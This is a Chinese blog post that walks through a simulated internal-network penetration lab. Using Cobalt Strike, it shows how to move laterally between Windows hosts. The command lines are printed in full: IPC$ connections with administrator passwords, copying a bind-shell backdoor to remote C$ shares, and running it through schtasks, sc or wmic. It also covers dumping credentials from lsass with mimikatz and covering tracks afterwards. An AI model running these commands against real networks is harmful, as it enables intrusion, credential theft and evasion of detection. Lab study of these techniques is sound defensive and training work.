鼠标点击页面特效

CS内网横向移动 模拟渗透实操 超详细

@Webkio

前言:

最近在跟朋友搞一些项目玩,所以最近没怎么更新内容
接下来我将在虚拟中模拟内网多层靶场,进行内网渗透实验,超详细,适合小白。
本文仅供网安学习,不可利用于未授权渗透工作中,否则后果自负。码字截图不易,转载记得署名。

微信关注公众号: JiuZhouSec 不定期更新渗透干货,适合小白学习。九州大地,一起Dayday UP!
image.png

模拟内网靶场 进行内网实验 我将从以下几点简述:
【上线边界机器】-【内网渗透】-【横向移动】-【痕迹清除】
实验码字不易,转载文章请署名

实验对象

这边基于之前的文章 对内网网络拓扑进行了新的配置:
工作站:Vmware workstation;Cobalt Strike 4.3
VPS:141.164.40.209
PC1 边界机器:192.168.18.100[NAT];192.168.19.140[仅主机]
PC2 内网机器:192.168.19.142[仅主机 不出网] 192.168.20.129[仅主机 不出网]
PC3 内网机器:192.168.20.128[仅主机 不出网]
操作环境:Windows server 2008 R2 sp1
image.png
实验环境须知:无杀软 无拦截
此篇文章仅供 内网模拟攻击 参考。黑客攻击手法通常是建立在免杀绕过的方法上,渗透测试本身就是“逆天而行”的事情。模拟靶机,是为了更直观的发现内网的薄弱点,深化网安价值。


IPC连接简述(445端口共享链接)

IPC 共享命名管道,连接445端口,提供账户密码后,可以进行默认文件共享及资源管理
139 NetBIOS File and Print Sharing 通过这个端口进入的连接试图获得NetBIOS/SMB服务。

利用前提条件:
1. 开放139 445(SMB) 端口 (默认)
2. 目标开启 IPC 共享服务 (默认)
3. 要有管理员账户密码 (默认)

利用方法:

内置工具:IPC+schtasks(写计划任务上线beacon)

schtasks是Windows的网络计划任务
这边利用PC1与PC2简历的IPC连接 写计划任务上线内网机器PC2
利用Windows内置工具是可以尽量绕过杀软,服务查杀的一种手法,仅供参考。

1. 让PC1 边界机器上线

CS建立监听器
image.png

2. 生成一个后门 并利用漏洞上传至边界机器PC1 并运行

image.png
image.png
image.png

3. 观察CS视图表 PC1边界机器上线

image.png

4. 获取beacon后 进入 并刷新会话时间 ---> sleep 0
5. 这里可以上传Fscan、或者利用CS 内置工具进行内网端口扫描操作

image.png

6. 这边对192.168.19.0网段下139,445进行端口扫描

image.png

7. 这里通过端口进行了端口存活探测 192.168.19.143的139 445开启

image.png

8. 尝试获取目标边界机器的明文密码 (这一步能获取的到就获取 该实验均是在上帝视角下进行)

部分运维人员的边界机器与内网机器为了便于使用 登入密码可能都是同一个密码
image.png

9. 利用边界机器PC1 建立与 PC2 192.168.19.143的IPC连接

  • shell net use \192.168.19.143 /user:administrator "admin@123"

image.png

  • 查看已经建立的连接

image.png

在模拟环境下 PC2是不出网的 对于不出网的机器 我们可以采取正向shell的方式获取shell

10. 在CS上创建正向监听,创建一个后门通过PC1与PC2建立的IPC连接上传后门程序并执行

上传前的PC2 机器目录下的文件内容:shell dir \192.168.19.143\c$
image.png
创建正向监听器: 这边指定的端口 要记好 7228
image.png
建立一个无状态的windows后门程序
image.png
image.png

11. 将在攻击机(本机)上利用CS创建的正向后门上传至PC1

image.png

12. 由IPC连接 通过PC1 上传文件至PC2 C盘下

shell dir
image.png
shell copy bind.exe \192.168.19.143\c$
image.png
image.png

13. 写schtasks 计划任务 执行bind.exe 创建计划任务

shell schtasks /create /s 192.168.19.143 /sc MINUTE /tn test /tr "C:\bind.exe"
shell schtasks /create 192.168.19.143 /sc MINUTE /tn test /tr "C:\bind.exe"
指令剖析:
schtasks -指定schtask方法
/create -创建
/s -system权限
/sc -指定创建的类型
/tn -指定计划任务名
/tr -需要运行的程序或命令
/mo -指定程序或命令执行的时间间隔,单位为分钟
image.png
因为是正向shell 需要攻击机连接靶机 这里只有PC1可以与PC2建立交互 故在PC1的beacon中建立与PC2的连接 执行如下:
connect 192.168.19.143 7228
image.png
PC2成功上线 这里一个小细节 图标后的链接图标 即代表PC2是通过PC1建立的连接
image.png
进入beacon
image.png
这里我们可以看到在PC2 【192.168.19.143】这台主机下 还有一张192.168.20.132的网卡 我们可以利用以上第五步介绍的方法进行端口探测 再尝试利用PC2建立与PC3的IPC连接 通过PC2使PC3上线

提供步骤思路【就不截图了 码字有点手酸】:

  • 判断PC3是否出网 端口扫描139,445端口是否开启
  • 利用漏洞或其它方法获取管理员账户密码,或尝试利用边界机器PC1的密码,前面有说过概念。
  • 建立PC2与PC3的IPC连接,打通机与机的联系。
  • 利用CS或其它手法【webshell管理工具】在PC2文件管理中上传前面创建的正向后门或重新创建一个新的后门程序。
  • 通过PC2上传后门
  • 写schtasks计划任务,相关指令在上面,认真看的应该在实操了吧。
  • PC2连接PC3,connect [target_ip] 等待上线至CS
  • 打到PC3后还可以继续端口扫描 查看网卡配置信息
  • 横向移动结束。

14. 痕迹清除 删除计划任务

这边创建的计划任务名是什么要记好哦 /tn 指定计划名 删错了就GG了
schtasks /delete /s 192.168.19.143 /tn test /f

内置工具:IPC+SC(services.msc服务控制器)

通过Windows服务的管理策略,创建新的服务,执行后门程序

  1. 内网渗透的第一步 永远是先利用漏洞让能出网的边界机器 这里是让PC1【192.168.19.140】上线CS

image.png

  1. 通过端口扫描 探测存活IP 是否开启139或445端口 这是建立IPC连接的前提

image.png

  1. logonpasswords 获取明文密码

这边CS中的 logonpasswords 是通过访问本地安全认证子系统服务进程“lsass.exe”获取明文密码
logonpasswords的技术 通过调用 "mimikatz"实现
image.png
image.png

  1. 建立IPC连接

shell net use \192.168.19.142 /user:Administrator "admin@123"
image.png

  1. 通过CS的文件管理器上传正向shell至边界机器

image.png

  1. 将bind.exe 通过PC1上传至PC2中去

image.png

  1. 利用IPC连接 在PC1上为PC2 创建一个服务

shell sc \192.168.19.142 create kiotest binpath= 'C:\bind.exe'
image.png
这边需要注意一点 SC等于号"=" 和 "值"之间要有空格 这边好像是CS4.3版本的一个小bug
可以详见截图的细节。

这边观察PC2 kiotest这个进程已在不出网的PC2服务策略中生成
image.png

这里通过sc qc [服务名] 可以查看对应服务的详细信息
shell sc \192.168.19.142 qc kiotest
image.png

  1. 这边创建的服务需要手动开启 如下:

shell sc \192.168.19.142 kiotest
启动192.168.19.142的kiotest 服务,其实就是让服务去寻找C盘下的bind.exe并启动
image.png
这里因为是 图文表述 具体效果 我们可以反复实验以 证明通过IPC连接去创建服务-启动服务的一个过程。
image.png

  1. bind.exe成功运行后 通过PC1连接PC2 上线

connect 192.168.19.142 7228
生成的正向shell 和 反弹shell的端口都要做个记录哦 因为这里的实验都是上帝视角,正常来说我们是不能直接看PC2的图形化界面的。如果忘了端口 不就白打了吗
image.png
image.png
image.png
细心的人应该发现了 上线的是一个192.168.20.0网段的机器。说明该网段下可能还存有PC3、PC4等等。
这里类似于IPC+schtasks的方法 层层递进的进行攻击就好了,思路在上面也能看到

  1. 最后 痕迹清除

shell sc \192.168.19.142 delete [服务名]

image.png

image.png

内置工具:IPC+WMIC

WMIC是Windows的远程管理控制器,通过远程管理目标机器,可以直接在目标中进行一些操作
wmic和cmd一样在所有的windows版本中都存在,同时wmic有很多cmd下不方便使用的部分

这边wmic的方法同上 大同小异 方法多多益善

  1. 同样让边界机器先上线,对边界机器进行内网信息收集,存活探测、配置信息收集、凭据信息等
  2. 通过凭据信息、存活探测 系统配置 利用边界机器建立与PC2机器的IPC连接
  3. 建立完IPC连接之后 我们可以利用wmic查询远程机器的进程信息

shell wmic /node:192.168.19.142 process list brief
image.png
小技巧:wmic执行一些命令是没有回显结果的 我们可以通过将执行命令的结果写入文件 再查看
shell wmic /node:192.168.19.142 process call create "cmd.exe /c ipconfig > C:\result.txt"
image.png
shell type \192.168.19.142\c$\result.txt
image.png
生成image.png

  1. 通过边界机器 创建正向后门并上传至靶机(PC2)

监听
image.png
后门
image.png
上传语法:shell copy bind.exe \192.168.19.142\c$
当前目录下进行上传“bind.exe” 至 靶机的C盘下

  1. 通过wmic执行后门 并连接 上线PC2

执行:
shell wmic /node:192.168.19.142 process call create "C:bind.exe"
image.png
连接上线:
connect 192.168.19.142 7228
image.png

  1. 痕迹清除 结束进程 并 删除执行程序
    利用PC2的beacon结束进程 , 即断开
    利用IPC连接删除执行程序
    shell del \192.168.19.142\C$\bind.exe

以下简单的介绍两种不常用的内置工具 winrs和WinRM 用法同上三种大同小异

内置工具:winrs(域)

要求:目标机器 5985端口打开,如果没有开,可以手动开启(在渗透测试中不常用)
靶机手动开启 winrm quickconfing -q 【! 网络状态是家庭网络 或 工作网络 才能打开】

内置工具:WinRM( 域 两台机器5985端口都要打开)

在靶机手动开启 winrm quickconfing -q
这两种同是在边界机器沦陷的基础下,进行存活探测,建立IPC连接等,去进行横向移动渗透测试的操作。

过几天整理一篇外部工具的利用。如有错误不足,劳纠正,互相学习,共建网安!

posted @ 2022-07-30 13:43  Web_Kio  阅读(3650)  评论(1编辑  收藏  举报